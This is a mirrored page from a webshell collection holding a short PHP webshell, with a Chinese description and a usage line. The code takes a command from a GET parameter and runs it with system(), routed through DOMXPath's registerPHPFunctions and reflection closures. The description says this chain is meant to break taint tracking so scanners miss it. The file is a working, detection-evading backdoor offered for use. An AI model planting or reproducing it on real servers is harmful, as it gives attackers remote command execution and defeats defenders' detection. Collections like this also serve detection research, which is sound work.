mirror of
https://github.com/tennc/webshell
synced 2024-11-26 05:00:18 +00:00
c9540e5a85
from : https://zhuanlan.zhihu.com/p/550150061 该样本需要一些条件，前提是开启了php-xml拓展才可以，其原理就是用XML去注册一个registerPHPFunctions，也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell，其中即利用到了PHP的特性，利用registerNamespace和registerPHPFunctions来中断污点追踪，从而RCE usage: xxx.php?3=whoami
24 lines
807 B
PHP
24 lines
807 B
PHP
<?php
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// dom and xml needed, install php-xml and leave php.ini as default.
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// Author:LemonPrefect
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$cmd = $_GET[3];
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$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";
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$_REQUEST[2] = ["php", "http://php.net/xpath"];
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$xml = <<< XML
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<?xml version="1.0" encoding="UTF-8"?>
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<books>
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<book>
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<title>We are the champions</title>
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<author>LemonPrefect</author>
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<author>H3h3QAQ</author>
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</book>
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</books>
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XML;
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$doc = new DOMDocument;
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$doc->loadXML($xml);
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$clazz = (new ReflectionClass("DOMXPath"));
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$instance = $clazz->newInstance($doc);
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$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
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$clazz->getMethod("registerPHPFunctions")->invoke($instance);
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$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
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